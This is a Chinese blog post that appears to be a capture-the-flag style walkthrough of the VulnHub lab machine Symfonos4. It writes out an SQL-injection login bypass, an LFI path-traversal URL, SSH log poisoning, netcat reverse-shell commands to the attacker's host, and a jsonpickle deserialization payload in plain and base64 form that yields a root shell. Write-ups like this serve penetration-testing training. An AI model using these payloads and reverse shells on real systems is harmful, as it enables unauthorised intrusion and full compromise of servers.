文章总结: 本文记录Vulnhub平台Symfonos4靶机完整渗透测试过程,展示从SQL注入绕过认证、LFI读取日志、SSH日志注入获取Webshell、反弹shell、数据库凭据提取、socat端口转发到jsonpickle反序列化漏洞利用获取root权限的完整攻击链,覆盖OWASPTop10中SQL注入、文件包含和不安全反序列化三大类漏洞,对红队实战和渗透测试学习具有较高参考价值。
综合评分: 88
文章分类: 渗透测试,红队,内网渗透,WEB安全,漏洞分析
Vulnhub靶机实战 – Symfonos4
Hash-Sec
Hash-Sec
Hash-Sec
2026年9月22日 16:52
浙江
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
NOIR BRIEF
商业观察 · 长期主义
Symfonos4 靶机渗透记录
Symfonos4 是 VulnHub 平台上的中等难度 Linux 靶机,目标 IP 192.168.68.172。该靶机完整演示了一条经典的 Web 层渗透链:目录枚举发现登录入口 → SQL 注入万能密码绕过认证 → 文件包含(LFI)读取系统日志 → 日志注入写入 WebShell → 反弹 shell 获取 foothold → 配置文件泄露数据库凭据 → socat 端口转发访问内网服务 → JWT Cookie 中的 jsonpickle 反序列化漏洞直接获取 root。
商业 · 财经 · 组织
NO. 001
01
- 主机发现与端口扫描
通过 ARP 扫描确认目标主机存活:
bash
1arp-scan -l
2
3192.168.68.172 00:0c:29:63:e8:37 VMware, Inc.
目标 IP 为 192.168.68.172。
访问 80 端口,主页为静态页面,未发现明显功能点。
执行全端口 TCP SYN 扫描:
bash
1nmap -p- -A -T4 192.168.68.172
2
3PORT STATE SERVICE VERSION
422/tcp open ssh OpenSSH 7.9p1 Debian 10
580/tcp open http Apache httpd 2.4.38 ((Debian))
仅开放 22(SSH)和 80(HTTP)两个端口。SSH 暂无可利用的弱口令或已知 CVE,攻击面优先从 Web 服务展开。
02
- 目录枚举与登录入口发现
对 Web 根目录执行字典枚举,附带 php/zip/bak/txt/html 扩展名:
bash
1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://192.168.68.172/ -x php,zip,bak,txt,html
扫描结果:
01
index.html — 200
02
robots.txt — 403
03
sea.php — 302 重定向至 atlantis.php
sea.php 发生 302 重定向,说明这是一个需要认证的入口脚本,重定向目标 atlantis.php 即为登录页面。
03
- SQL 注入绕过认证
访问 sea.php 被重定向至登录页。登录表单的用户名和密码查询未做参数化处理,存在经典 SQL 注入漏洞。使用万能密码绕过认证:
bash
1用户名: 1′ or 1=1 — s
2密码: 任意
1′ or 1=1 — s 的原理是闭合 SQL 语句中的字符串引号,插入永真条件 or 1=1,再用 — 注释掉后续语句,使查询恒返回真,从而绕过认证直接登录。
登录成功后,页面显示一个选择神(deity)的下拉框,选择后 URL 变为:
bash
1/sea.php?file=hades
file 参数直接控制后端读取的文件路径——这是一个典型的本地文件包含(LFI)漏洞。
04
- LFI 读取 SSH 认证日志
既然 file 参数可控,尝试读取 SSH 登录日志 /var/log/auth.log。注意靶机可能在文件后自动追加 .php 后缀,因此尝试不加 .log:
bash
1http://192.168.68.172/sea.php?file=../../../../../../var/log/auth
路径穿越 ../../../../../../ 跳出 Web 根目录,读取系统日志文件。
成功读取到 SSH 认证日志内容——日志中记录了所有 SSH 登录尝试的用户名和密码。
LFI 到 RCE 的核心思路:文件包含漏洞本身只能读文件,但如果能控制日志文件的内容,就能通过日志注入实现代码执行。SSH 日志记录了所有登录尝试的用户名,而用户名是攻击者完全可控的——把 PHP 代码作为用户名进行 SSH 连接,代码就会被写入日志文件,再通过 LFI 读取日志文件时,PHP 代码就会被执行。
05
- SSH 日志注入获取 RCE
使用任意 SSH 客户端(此处为 FinalShell)进行连接,将一句话 PHP 代码作为用户名传入:
bash
1用户名:
2密码: 任意
这次 SSH 连接尝试会被记录到 /var/log/auth.log 中,PHP 代码以纯文本形式写入日志。
现在通过 LFI 读取这个日志文件,并携带 POST 参数 cmd 执行系统命令:
bash
1POST /sea.php?file=../../../../../var/log/auth
2cmd=id
命令执行成功,返回 www-data 用户身份。
06
- 反弹 Shell 与数据库凭据提取
通过 POST 参数注入反弹 shell 命令:
bash
1nc -e /bin/bash 192.168.68.156 1111
Kali 监听端口收到反弹连接,获取交互式 shell:
bash
1python -c “import pty;pty.spawn(‘/bin/bash’);”
获得 www-data 权限后,首先检查 Web 目录下的配置文件。登录页面的 PHP 源码中硬编码了数据库凭据:
php
1define(‘DB_USERNAME’, ‘root’);
2define(‘DB_PASSWORD’, ‘yVzyRGw3cG2Uyt2r’);
使用该凭据登录 MySQL 数据库,检查 db.users 表:
表中仅有一个用户,密码哈希无法直接破解。数据库阶段没有直接突破,转向内网侦察。
07
- 内网端口转发与 8080 服务
执行 ss -tuln 检查本地监听端口:
bash
1LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
发现 127.0.0.1:8080 上运行着一个仅绑定本地回环的 Web 服务,外部无法直接访问。使用 socat 做 TCP 端口转发:
bash
1socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080
将靶机的 7000 端口转发到本地 8080,然后通过 http://192.168.68.172:7000 访问该服务。
08
- JWT Cookie 与 jsonpickle 反序列化
访问 8080 端口的 Web 服务后,抓包分析 Cookie,发现其中包含一段 JWT Token。Base64 解码后内容为:
json
1{“py/object”: “app.User”, “username”: “Poseidon”}
这是 jsonpickle 序列化的 Python 对象。jsonpickle 是一个 Python 库,用于将 Python 对象序列化为 JSON 格式。如果服务端直接反序列化用户可控的 JSON 数据而未做安全过滤,就会触发反序列化漏洞——攻击者可以构造恶意 JSON,在服务端执行任意代码。
构造反序列化 payload,利用 Python 的 os.system 执行反弹 shell 命令:
json
1{“py/object”:”main.Shell”,”py/reduce”:[{“py/type”:”os.system”},{“py/tuple”:[“/usr/bin/nc -e /bin/bash 192.168.68.156 1111”]},null,null,null]}
Base64 编码后替换 Cookie 中的 JWT 值,刷新页面触发反序列化:
bash
1eyJweS9vYmplY3QiOiJtYWluLlNoZWxsIiwicHkvcmVkdWNlIjpbeyJweS90eXBlIjoib3Muc3lzdGVtIn0seyJweS90dXBsZSI6WyIvdXNyL2Jpbi9uYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC42OC4xNTYgMTExMSJdfSxudWxsLG51bGwsbnVsbF19
Kali 监听端口收到反弹连接,确认 UID:
bash
1uid=0(root) gid=0(root) groups=0(root)
直接获取 root 权限,无需二次提权。
反序列化漏洞原理:jsonpickle 的 py/reduce 机制允许在反序列化时指定任意可调用对象及其参数。当服务端使用 jsonpickle.decode() 处理用户输入时,攻击者可以构造 py/reduce 指向 os.system 或 subprocess.call,实现任意命令执行。这与 Java 反序列化漏洞(如 Fastjson、Jackson)的攻击模型完全一致。
09
- 完整攻击链路
| 攻击阶段 | 技术手段 | 关键输出 |
| — | — | — |
| 信息收集 | ARP 扫描 + nmap + gobuster 目录枚举 | 发现 sea.php 登录入口 |
| 认证绕过 | SQL 注入万能密码 1′ or 1=1 — s | 登录成功,发现 ?file= 参数 |
| 文件读取 | LFI 路径穿越读取 /var/log/auth | 获取 SSH 认证日志 |
| 代码执行 | SSH 日志注入 PHP 一句话 + LFI 触发 | 获取 www-data 命令执行 |
| Foothold | POST 注入反弹 shell | 获取交互式 shell |
| 凭据提取 | 配置文件硬编码数据库密码 | root / yVzyRGw3cG2Uyt2r |
| 内网突破 | socat 端口转发访问 127.0.0.1:8080 | 发现 JWT 认证服务 |
| 权限提升 | jsonpickle 反序列化 + py/reduce 调用 os.system | 直接获取 root |
该靶机的核心设计思路:从 SQL 注入到 LFI 再到日志注入,每一步都是 Web 安全经典漏洞的组合利用;最终的提权不依赖内核漏洞或配置错误,而是通过内网服务的反序列化漏洞一步到位。整条链覆盖了 OWASP Top 10 中的 SQL Injection、File Inclusion、Insecure Deserialization 三大类漏洞。
10
关联知识点
01
SQL 注入万能密码:1′ or 1=1 — s 利用 SQL 语句字符串闭合 + 永真条件 + 注释符绕过认证。仅适用于字符串拼接的非参数化查询。
02
LFI(本地文件包含):?file= 参数未做路径过滤,通过 ../ 路径穿越读取任意文件。常见于 PHP include() / require() 直接拼接用户输入。
03
SSH 日志注入:将 PHP 代码作为 SSH 用户名进行连接尝试,代码被写入 /var/log/auth.log。结合 LFI 读取日志文件,PHP 代码被解析执行,实现 LFI → RCE 转换。
04
jsonpickle 反序列化漏洞:jsonpickle 支持 py/object 和 py/reduce 关键字,允许在反序列化时实例化任意对象并调用任意函数。服务端若直接 jsonpickle.decode() 用户输入,等同于 RCE。
05
socat 端口转发:socat tcp-listen:PORT,fork tcp:TARGET_IP:TARGET_PORT 将本地端口转发到远程地址,用于访问仅绑定回环的内网服务。
写在最后
看到这儿,说明你把它读完了。这类文章能走多远,只取决于两件事:你的在看和转发。
顺手关注并设为星标,下一篇更新第一时间见。
END OF ISSUE
保持长期主义
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Hash-Sec Hash-Sec
Hash-Sec《Vulnhub靶机实战 – Symfonos4》